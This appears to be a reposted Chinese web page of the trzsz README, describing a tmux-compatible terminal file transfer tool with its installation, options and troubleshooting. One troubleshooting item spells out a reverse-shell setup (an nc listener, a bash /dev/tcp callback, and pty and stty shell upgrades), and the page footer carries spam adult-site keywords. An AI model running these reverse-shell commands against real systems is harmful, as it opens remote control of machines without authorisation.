<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          trzsz文件傳輸工具

          聯(lián)合創(chuàng)作 · 2023-09-30 00:24

          trzsz 是一個兼容 tmux 的文件傳輸工具,和 lrzsz ( rz / sz ) 類似,并且有進(jìn)度條和支持目錄傳輸。

          GitHub: https://github.com/trzsz/trzsz

          Gitee: https://gitee.com/trzsz/trzsz


          為什么?

          考慮 laptop -> hostA -> hostB -> docker -> tmux 這種場景,使用 scp  sftp 是不方便的。

          在這種場景下,使用 lrzsz ( rz / sz ) 是很方便的,但是很可惜它與 tmux 不兼容。

          tmux 不愿意支持 rz / sz ( 906, 1439 ),而重新造一個工具比修改 tmux 簡單很多。

          優(yōu)點(diǎn)介紹

          • 支持 tmux,包括 tmux 普通模式,以及與 iTerm2 集成的 tmux 命令模式。
          • 支持 傳輸目錄trz -d 命令上傳目錄,tsz -d xxx 命令下載 xxx 目錄。
          • 支持 斷點(diǎn)續(xù)傳trz -y  tsz -y xxx 覆蓋目標(biāo)文件會自動進(jìn)行斷點(diǎn)續(xù)傳。
          • 支持 Windows,不僅可在 Windows 客戶端使用,也可在 Windows ssh 服務(wù)器使用。
          • 支持 原生終端,不需要原生終端做支持,只要使用 trzsz ssh x.x.x.x 登錄即可。
          • 支持 web 終端,通過 web 瀏覽器在本地與服務(wù)器之間傳輸目錄和文件。
          • 支持 拖動上傳,將文件和目錄拖到終端窗口即可上傳到遠(yuǎn)程服務(wù)器。
          • 支持 進(jìn)度條,顯示當(dāng)前正在傳輸?shù)奈募⑦M(jìn)度、大小、速度和剩余時(shí)間等。
          • 更好的 交互體驗(yàn),傳輸成功或出錯時(shí)顯示友好的結(jié)果,ctrl + c 優(yōu)雅中止。

          安裝指南

          在遠(yuǎn)程服務(wù)器上安裝

          • 安裝 用 Go 實(shí)現(xiàn)的版本( ? 推薦 )

            請查看 Go 版安裝指引:https://trzsz.github.io/cn/go

          • 或者用 Python3 安裝

            sudo python3 -m pip install --upgrade trzsz
             
          • 或者用 Python2 安裝

            sudo python2 -m pip install --upgrade trzsz
             
          • 或者用 Homebrew 安裝

            brew update
            brew install trzsz
             
          • 或者用 Node.js 安裝

            sudo npm install -g trzsz
             

            沒有 sudo 權(quán)限也可以安裝,只要將安裝路徑 ( 可能是 ~/.local/bin ) 添加到 PATH 環(huán)境變量中即可。

          支持的終端

          • trzsz-ssh ( tssh ) -- 內(nèi)置支持 trzsz 的 ssh 客戶端( ? 推薦 )。

          • iTerm2 -- 參考 Trzsz-iTerm2 安裝文檔

          • tabby -- 安裝 tabby-trzsz 插件即可。

          • electerm -- 升級到 1.19.0 以上的版本即可。

          • ttyd -- 升級到 1.7.3 以上的版本,并且啟動時(shí)加上 -t enableTrzsz=true,非 localhost 要用 https

          • trzsz-go -- 只要是支持本地 shell 的終端就可以用。

          • trzsz.js -- 讓運(yùn)行在瀏覽器中的 webshell 和用 electron 開發(fā)的終端支持 trzsz

            如果你的終端也支持 trzsz,請告訴我,我很樂意將它加到此列表中。

          使用指南

          trz 上傳文件

          trz 命令可以不帶任何參數(shù),將上傳文件到當(dāng)前目錄。也可以帶一個目錄參數(shù),指定上傳到哪個目錄。

          trz /tmp/
           

          tsz 下載文件

          tsz 可以帶一個或多個文件名(可使用相對路徑或絕對路徑,也可使用通配符),將下載指定的文件。

          tsz file1 file2 file3
           

          -q 靜默模式

          trz -q  tsz -q xxx ( 加上 -q 選項(xiàng) ),則在傳輸文件時(shí)不顯示進(jìn)度條。

          -y 覆蓋模式

          trz -y  tsz -y xxx ( 加上 -y 選項(xiàng) ),如果存在相同文件名的文件就直接覆蓋,并支持?jǐn)帱c(diǎn)續(xù)傳。

          -b 二進(jìn)制模式

          trz -b  tsz -b xxx ( 加上 -b 選項(xiàng) ),二進(jìn)制傳輸模式,對于壓縮包、圖片、影音等較快。

          -e 轉(zhuǎn)義控制字符

          二進(jìn)制模式時(shí),控制字符可能會導(dǎo)致失敗,trz -eb  tsz -eb xxx ( 加上 -e 選項(xiàng) ) 轉(zhuǎn)義所有已知的控制字符。

          -d / -r 傳輸文件夾

          trz -d  tsz -r xxx ( 加上 -d  -r 選項(xiàng) ),則可以上傳或下載指定文件夾和文件。

          -B 緩沖區(qū)上限

          trz -B 20m  tsz -B 2M xxx 等,設(shè)置最大緩沖區(qū)上限 ( 默認(rèn) 10M )。會自動根據(jù)網(wǎng)速選擇合適的緩沖區(qū)大小,但不會超過此上限。

          -t 超時(shí)時(shí)間

          trz -t 30  tsz -t 30 xxx 等,設(shè)置超時(shí)秒數(shù) ( 默認(rèn) 20 秒 )。在超時(shí)時(shí)間內(nèi),如果無法傳完一個緩沖區(qū)大小的數(shù)據(jù)則會報(bào)錯并退出。設(shè)置為 0 或負(fù)數(shù),則永不超時(shí)。

          異常處理方法

          • 如果 tmux 是運(yùn)行在本地電腦上。

            • 方案 1:使用 tmux -CC 與 iTerm2 集成,請參考 iTerm2 與 tmux -CC 集成
            • 方案 2:在本地電腦上安裝 trzsz-go,在 tmux 之后用 trzsz ssh 登錄。
          • 如果 tmux 是運(yùn)行在跳板機(jī)上。

            • 方案 1:使用 tmux -CC 與 iTerm2 集成,請參考 iTerm2 與 tmux -CC 集成
            • 方案 2:在跳板機(jī)上安裝 trzsz-go,在 tmux 之后用 trzsz -r ssh 登錄。
          • 如果出現(xiàn)了錯誤,且 trzsz 掛住不能動了:

            • 按組合鍵 control + c 可以停止服務(wù)器上的 trz  tsz 進(jìn)程。
            • 對于 iTerm2 用戶,按組合鍵 command + option + shift + r 可以停止 iTerm2 Coprocesses
          • 如果 trz -b 二進(jìn)制上傳失敗,并且登錄遠(yuǎn)程服務(wù)器時(shí)使用了 telnet  docker exec

            • 可以試試轉(zhuǎn)義所有控制字符,例如 trz -eb
          • 如果 trz -b  tsz -b 二進(jìn)制傳輸失敗,并且登錄遠(yuǎn)程服務(wù)器時(shí)使用了 expect

            • 可以試試在 expect 腳本前設(shè)置環(huán)境變量 export LC_CTYPE=C,例如:
              #!/bin/sh
              export LC_CTYPE=C
              expect -c '
                spawn ssh xxx
                expect "xxx: "
                send "xxx\n"
                interact
              '
               
          • 如果想在反彈 shell 中使用 trz / tsz 上傳和下載,則需要按以下步驟操作:

            • 1. 使用 tssh xxx  trzsz ssh xxx 登錄服務(wù)器。
            • 2. 在服務(wù)器上執(zhí)行 nc -lnv 1337,等待反彈 shell 連接。
            • 3. 在目標(biāo)機(jī)器反彈連接到服務(wù)器,如 bash -i >& /dev/tcp/192.168.0.1/1337 0>&1
            • 4. 以下在反彈 shell 中操作:
              • 4.1. 轉(zhuǎn)換成交互式 shell,如 python3 -c 'import pty; pty.spawn("/bin/bash")'
              • 4.2. 按下 ctrl + z 將反彈 shell 轉(zhuǎn)入后臺運(yùn)行。
              • 4.3. 執(zhí)行 stty raw -echo; fg 屏蔽服務(wù)器的回顯,并將反彈 shell 轉(zhuǎn)到前臺運(yùn)行。
              • 4.4. 此時(shí)按一次回車鍵,就會顯示命令行提示符等了。
              • 4.5. 設(shè)置終端環(huán)境變量 export TERM=xterm-256color( 此步驟非必須 )。
              • 4.6. 檢查是否存在 TMUX 環(huán)境變更,若存在則要清掉 unset TMUX
              • 4.7. 此時(shí)就可以正常使用 trz / tsz 上傳和下載了。
            • 5. 退出交互式 shell 后,輸入的字符將不會回顯,盲打 exit 退出反彈 shell。
            • 6. 此時(shí)在服務(wù)器上盲打 reset 并回車,恢復(fù)終端的默認(rèn)設(shè)置,然后回顯就恢復(fù)正常了。

          屏幕截圖

          trzsz 在 iTerm2 中 text 進(jìn)度條示例

          using trzsz in iTerm2 with text progress bar

          trzsz 在 iTerm2 中 zenity 進(jìn)度條示例

          using trzsz in iTerm2 with zenity progress bar

          trzsz 在 tabby 中 tabby-trzsz 插件示例

          using trzsz in tabby with tabby-trzsz plugin

          瀏覽 14
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          編輯 分享
          舉報(bào)
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          編輯 分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  热久在精品 | 九色91视频 | 成人黄色片免费网站 | 神马午夜精品 | 极品少妇XXX |